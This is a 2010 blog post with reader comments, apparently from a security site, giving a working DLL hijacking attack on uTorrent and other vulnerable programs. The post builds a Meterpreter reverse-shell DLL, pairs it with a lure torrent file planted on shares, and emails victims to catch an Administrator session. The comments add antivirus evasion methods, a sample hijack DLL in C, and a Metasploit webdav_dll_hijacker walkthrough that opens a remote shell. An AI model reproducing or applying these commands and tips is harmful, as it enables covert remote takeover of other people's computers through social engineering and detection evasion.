Alternative DLL Hijacking Method

Posted: 25th August 2010 by Matt in code, hacks, security
Tags: , , , , , , , , , , , ,
12

UPDATE:
One thing that I didn’t mention in this post is that these files do NOT have to be saved to a share. So long as the file and the DLL reside in the same directory (think USB stick), the exploitation will succeed.
/UPDATE

So, yesterday I wrote a post detailing the exploitation of this vulnerability using the “webdav_dll_hijacker” module. The problem with this method is that you have to convince a user to connect to a rogue share. This adds some hoops to jump through, as you have to social engineer/trick someone to browse to it.

Well, here’s an alternative that doesn’t require any trickery. ;-)

I think a lot of people overlook ‘msfpayload’ and wind up using ‘msfconsole’ more often than not. Well, here’s a good example of the usefulness of ‘msfpayload’.

We’re going to attack uTorrent again. This will work with any of the programs which are known to be vulnerable to DLL hijacking, though..

Step 1 – We need to create the DLL payload

# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.58 D > /tmp/plugin_dll.dll
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=192.168.0.58

Remember, “plugin_dll.dll” is the DLL that uTorrent searches for in the directory when it attempts to open a .torrent file.

Next, we need to create a .torrent

# touch /tmp/superhotnakedchicks.torrent

That pretty much takes care of the attack part. We can now put these two files on any share that we find and they will sit there, all innocent looking, until someone comes across them and clicks on it. Alternatively, you could send a link to the file that is located on the victims own server.

Now, we need to set up the listening meterpreter client..

# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.58
lhost => 192.168.0.58
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.0.58:4444
[*] Starting the payload handler…

Ok, now we sit and wait.. and wait.. and then we get tired of waiting so we send the victim an email with the link to the directory because we’re impatient…

[*] Sending stage (748544 bytes) to 192.168.0.252
[*] Meterpreter session 1 opened (192.168.0.58:4444 -> 192.168.0.252:1165) at Wed Aug 25 13:56:46 -0500 2010

meterpreter > getuid
Server username: VICTIM\Administrator

Hard to get much more simple than that. Again, this will work with ALL of the programs listed here.. all you have to do is make sure that you’ve named the DLL correctly.

Enjoy.

If you enjoyed this post, make sure you subscribe to my RSS feed! You can also follow me on Twitter here.
Share

Related posts:

  1. New DLL Hijacking Exploits (many!)
  2. Windows ‘LNK’ Exploit Demonstration
  3. Nmap’s NSE ‘smb-check-vulns’ script
  4. File Server LNK Protection
  5. DLLHijackAuditKit v2
  1. Xpl0i7 says:
    August 25, 2010 at 4:38 pm

    Thx a lot !
    “# touch /tmp/superhotnakedchicks.torrent” <<< LOL

  2. wlet says:
    August 26, 2010 at 2:23 am

    Hi,

    have you ever tried to copy the files to a folder on a smb share and create a link to it. Sure, this targets only IE users but I guess this could work:

    click here to see all the hot babes

    wlet

  3. Matt says:
    August 26, 2010 at 9:32 am

    @wlet: There are a lot of things that I haven’t tried yet.. but my hunch is that that would not work, because I doubt the software would follow the link to find the DLL. If I get a chance to try it, I’ll let you know what I find.

  4. Week 34 in Review – 2010 | Portable Digital Video Recorder says:
    August 30, 2010 at 5:25 am

    [...] Alternative DLL Hijacking Method – attackvector.org [...]

  5. Phlak007 says:
    September 1, 2010 at 12:55 am

    The dll created by msfpayload is caught by all anit-virus software.
    Is there a way to encode this dll?

  6. rusopro says:
    September 1, 2010 at 5:54 am

    i tried but no work for me, i put both, plugin_dll.dl and a empty torrent file in a folder in the desktop of a vitual machine with xp sp2 then run the torrent but nothing happen, this are de comands that i used for generate the files and start a metasploit listener

    /*dll*/
    ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 D > /home/mauro/Escritorio/plugin_dll.dll

    /*torrent*/
    touch /tmp/superhotnakedchicks.torrent

    /*listener*/
    ./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 e

    thanks and sorry for my bad english

  7. Matt says:
    September 1, 2010 at 9:44 am

    @Phlak007: There are a couple of different ways.

    1) You can write your own DLL, which is what I would suggest. Using metasploit is just a tool to test vulnerabilities, but as far as being useful when it comes to exploiting vulnerabilities like this (when you have to include a payload of some sort), it’s not very effective because it’s picked up by quite a few AV’s..

    2) There is a method for unloading AV’s prior to executing your own code. I haven’t played around with this yet, but I expect I will be shortly

    3) You can use a FUD to encode the DLL, which use something called a “stub” which are available that are specifically written to bypass detection. The problem with stubs, though, is that unless you pay the developer to create a specific stub for you, personally, they don’t stay undetected for very long.

    4) I haven’t used this method yet, but after reading this document, I intend on trying it. http://www.sans.org/reading_room/whitepapers/casestudies/effectiveness-antivirus-detecting-metasploit-payloads_2134

    Here’s a simplified example of rolling your own DLL:

    ?View Code C
    #include 
#define DLLIMPORT __declspec (dllexport)
 
DLLIMPORT void hook_startup() { hijack(); }
 
int hijack() {
  WinExec("calc", 0);
  exit(0);
  return 0;
}
  8. Matt says:
    September 1, 2010 at 9:47 am

    @rusopro: And you put both the dll and the torrent in the same directory? Try changing the LHOST to “192.168.1.100″ on the handler and see if that makes a difference..

  9. rusopro says:
    September 2, 2010 at 3:46 am

    i try again regenerating both files with the new address(192.168.1.101 for the DHCP) but nothing happen, the dll and the empty torrent are in the same folder in the desktop, and this is the comand to the handler:

    sudo ./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.101 E

    the version of the torrent is 1.8.4 (build 16686), i try with a X meterpreter and work fine, this is the error that Utorrent show me when execute the superhotnakedchicks.torrent:

    unable to load “superhotnakedchicks.torrent”: Invalid torrent file!

  10. Matt says:
    September 2, 2010 at 9:57 am

    @rusopro: Ok.. a couple things to try

    1) Check out the “webdav_dll_hijacker” module. This will help you see some of what’s going on behind the scenes. Run it from within the msfconsole.
    2) Try targeting WAB instead of utorrent. (create a .vcf file and the DLL in question is ‘wab32res.dll’)

    Example:

    msf > use windows/browser/webdav_dll_hijacker
    msf exploit(webdav_dll_hijacker) > set extensions vcf
    extensions => vcf
    msf exploit(webdav_dll_hijacker) > set srvhost 192.168.1.101
    srvhost => 192.168.1.101
    msf exploit(webdav_dll_hijacker) > set payload windows/shell/reverse_tcp
    payload => windows/shell/reverse_tcp
    msf exploit(webdav_dll_hijacker) > set lhost 192.168.1.101
    lhost => 192.168.1.101
    msf exploit(webdav_dll_hijacker) > exploit
    [*] Exploit running as background job.

    [*] Started reverse handler on 192.168.1.101:4444
    [*]
    [*] Exploit links are now available at \\192.168.1.101\documents\
    [*]
    [*] Using URL: http://192.168.1.101:80/
    [*] Server started.
    ..snip..
    [*] 192.168.1.102:1062 PROPFIND /documents/wab32res.dll
    [*] 192.168.1.102:1062 PROPFIND => 207 File (/documents/wab32res.dll)
    ..snip..
    [*] Sending stage (240 bytes) to 192.168.1.102
    [*] Command shell session 1 opened (192.168.1.101:4444 -> 192.168.1.102:1065) at Thu Sep 02 09:54:36 -0500 2010

    If that succeeds, then try creating the wab32res.dll using msfpayload and see if that works. If it does, my hunch is that your version of utorrent is not vulnerable to DLL hijacking

  11. rusopro says:
    September 5, 2010 at 2:07 am

    hello matt, how are you, well i try with msfconsole and fail to exploit the vulnerability because i can’t reach the folder documents, the msfconsole gets stuck in:

    msf exploit(webdav_dll_hijacker) > [*] 192.168.1.101:52072 GET => REDIRECT (/)

    i open http://192.168.1.101:80/ in the IE6(version 6.0.2900) and appears to be redirected(the address bar chage to “\\192.168.1.101\documents”), but the next i see is “the page cannot be displayed”, i can’t find why IE6 not show me the directory.

    i did other test from my firefox in linux and i still can not reach the directory, in this case msfconsole show me repeatedly

    [*] 192.168.1.101:41112 GET => REDIRECT (/\\192.168.1.101\documents\)
    [*] 192.168.1.101:41112 GET => REDIRECT (/\\192.168.1.101\documents\)
    [*] 192.168.1.101:41112 GET => REDIRECT (/\\192.168.1.101\documents\)
    [*] 192.168.1.101:41112 GET => REDIRECT (/\\192.168.1.101\documents\)

    and never stop and the address bar in my mozilla turn to:

    http://192.168.1.101/\\192.168.1.101\documents\

    i really don’t now what causes this behavior, sorry for extend this topic and i hope your reply.thanks

  12. Matt says:
    September 8, 2010 at 9:33 am

    @rusopro: And you tried using explorer (not internet explorer) to browse to \\192.168.1.101\documents directly and it still wasn’t able to connect to it?

Spam Protection by WP-SpamFree